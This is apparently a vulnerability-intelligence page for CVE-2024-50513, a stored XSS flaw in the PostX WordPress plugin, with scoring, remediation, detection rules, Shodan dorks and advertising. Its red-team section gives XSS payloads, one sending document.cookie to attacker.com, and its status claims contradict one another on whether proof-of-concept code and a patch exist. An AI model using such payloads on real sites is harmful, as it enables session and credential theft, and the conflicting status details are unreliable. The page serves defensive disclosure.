☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
Wpxpo logo [ WEBSITE ] [ VENDOR STATS ]
CVSS: 5.9 CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L 🐛 CWE-79
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2024-50513

CVE-2024-50513 Cross-Site Scripting in Wpxpo
📅 PUBLISHED: 2024-11-19 17:15 UTC 🔄 UPDATED: 2026-08-12 14:53 UTC
[ PATCH UNDER REVIEW ↓ ] Remains UNDER REVIEW until an independent source confirms the fix
[ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.14%
👁️
0.14% probability
3.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1190
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
Country: Estonia License: Freemium
VULNERABLE: version not auto-detected — verify your deployed version locally
CVSS VECTOR BREAKDOWN 5.9
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: L Privileges Required Low
UI: R User Interaction Required
S: C Scope Changed
C: L Confidentiality Low
I: L Integrity Low
A: L Availability Low
5.9
THREAT LEVEL
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2024-50513 is a Stored Cross-Site Scripting (XSS) vulnerability in the WordPress plugin PostX (slug: ultimate-post) developed by WPXPO. The flaw exists in versions up to and including 4.1.15, where user-supplied input is not properly neutralized during web page generation. An authenticated attacker with contributor-level privileges or higher can inject arbitrary JavaScript into posts or pages, which will execute in the browsers of any visitor viewing the compromised content. This can lead to session hijacking, credential theft, defacement, or redirection to malicious sites. The vulnerability is classified as Stored XSS (CWE-79) with a CVSS score of 5.9 (Medium). No public exploit code or proof-of-concept is currently available, and no patch has been released by the vendor.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users who installed the plugin directly from the WordPress dashboard or via the repository are at risk. The plugin is not available on NPM, PyPI, Go, or Ruby ecosystems. The supply chain risk is limited to the WordPress plugin ecosystem, but the lack of a patch increases the risk of exploitation once a proof-of-concept becomes public.

CVSS Breakdown & Threat Level

  • CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:L
  • Base Score: 5.9 (Medium)
  • Attack Vector: Network (AV:N) – The vulnerability can be exploited remotely.
  • Attack Complexity: Low (AC:L) – No special conditions are required.
  • Privileges Required: Low (PR:L) – An attacker needs a contributor-level account or higher.
  • User Interaction: Required (UI:R) – A victim must visit the compromised page.
  • Scope: Changed (S:C) – The injected script can affect resources beyond the vulnerable component.
  • Confidentiality Impact: Low (C:L) – Limited data exposure possible.
  • Integrity Impact: Low (I:L) – Content modification possible.
  • Availability Impact: Low (A:L) – Minor disruption possible.

Threat Level: Medium. The requirement for authentication and user interaction reduces the immediate risk, but the stored nature of the XSS means a single injection can affect many users over time.

Deep Dive & Mechanics

The vulnerability resides in the PostX plugin's handling of user-generated content, likely in a custom block or shortcode that processes attributes or inner content without proper sanitization. The plugin is designed to create advanced post grids, sliders, and layouts. When a user with contributor-level access or higher creates or edits a post using a vulnerable PostX block, the plugin fails to escape or sanitize input before storing it in the database. When the post is rendered on the front end, the malicious script is executed in the context of the victim's browser.

The root cause is the use of functions like echo or the_content without applying WordPress's built-in escaping functions such as esc_html(), esc_attr(), or wp_kses_post(). The plugin likely outputs user-supplied data directly into HTML attributes or JavaScript contexts without proper encoding.

Vulnerable vs. Patched Code

Since no official patch is available, the following is a hypothetical comparison based on common XSS remediation patterns.

Vulnerable Code (Example):

// In a PostX block render function
$user_input = $attributes['custom_title'];
echo '<div class="postx-title">' . $user_input . '</div>';

Patched Code (Example):

// Properly escaped output
$user_input = $attributes['custom_title'];
echo '<div class="postx-title">' . esc_html( $user_input ) . '</div>';

The patched version uses esc_html() to encode HTML special characters, preventing script injection.

Exploitation & Lab Setup

Red Team

Prerequisites:

  • A WordPress site with PostX plugin version <= 4.1.15.
  • A user account with at least Contributor role.

Steps:

  1. Log in to the WordPress admin panel.
  2. Create a new post or edit an existing one.
  3. Insert a PostX block (e.g., Post Grid, Slider, or any block that accepts custom input).
  4. In a field that is not sanitized (e.g., a custom title or description), inject the following payload:
    <img src=x onerror=alert('XSS')>
    
    Or a more sophisticated payload:
    <script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script>
    
  5. Publish or save the post.
  6. Any user visiting the post will execute the injected script.

Note: No public exploit code is available; this is a theoretical exploitation scenario.

Blue Team

Detection:

  • Monitor for posts containing suspicious HTML tags or JavaScript in fields that should only contain plain text.
  • Use a Web Application Firewall (WAF) to block common XSS payloads.
  • Implement Content Security Policy (CSP) headers to restrict script execution.

Hunting:

  • Search the database for posts containing <script> tags or event handlers like onerror, onload, onclick.
  • Review recent posts created by low-privilege users for unusual content.

Indicators of Compromise (IOCs)

  • File Indicators:

    • Plugin file: /wp-content/plugins/ultimate-post/
    • Suspicious entries in the wp_posts table with post_content containing <script> tags or event handlers.
  • Network Indicators:

    • Outbound connections to known malicious domains from the WordPress server.
    • HTTP requests containing XSS payloads in POST data to wp-admin/post.php or wp-admin/admin-ajax.php.
  • Log Indicators:

    • Web server logs showing requests to posts with unusual query strings or referrers.
    • WordPress debug logs showing PHP warnings related to unescaped output.

Detection Engineering

YARA Rule

rule CVE_2024_50513_Stored_XSS {
    meta:
        description = "Detects stored XSS payloads in PostX plugin content"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2024-50513"
    strings:
        $xss1 = /<script[^>]*>.*<\/script>/is
        $xss2 = /onerror\s*=\s*["']?[^"'\s>]+["']?/is
        $xss3 = /onload\s*=\s*["']?[^"'\s>]+["']?/is
        $xss4 = /javascript\s*:/is
    condition:
        any of them
}

Sigma Rule

title: Stored XSS in PostX Plugin
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects stored XSS payloads in WordPress posts created by PostX plugin
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2024-50513
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-stem: '/wp-admin/post.php'
        cs-uri-query: 'action=editpost'
        sc-status: 302
    keywords:
        - '<script'
        - 'onerror='
        - 'onload='
        - 'javascript:'
    condition: selection and keywords
falsepositives:
    - Legitimate use of JavaScript in posts by administrators
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2024-50513 Stored XSS Payload in PostX"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/post.php"; http_uri; content:"action=editpost"; http_client_body; pcre:"/(<script|onerror=|onload=|javascript:)/i"; classtype:web-application-attack; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

  1. Disable the PostX plugin until a patch is released.
  2. Review and clean any posts created by low-privilege users for malicious content.
  3. Implement a Web Application Firewall (WAF) with rules to block common XSS payloads.
  4. Enforce Content Security Policy (CSP) headers to restrict script execution.

Long-term Fix:

  • Monitor the WPXPO plugin repository for an official update.
  • Consider replacing PostX with an alternative plugin that is actively maintained and has a good security track record.
  • Educate content creators about the risks of pasting untrusted content into posts.

Workaround:

  • Use a security plugin like Wordfence or Sucuri to add an additional layer of XSS filtering.
  • Restrict contributor-level users from using custom HTML or JavaScript in posts via user role editing plugins.

Valters IT
Securing Digital Frontiers

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

http.title:"PostX"
http.html:"wp-content/plugins/ultimate-post"

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2024-50513/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.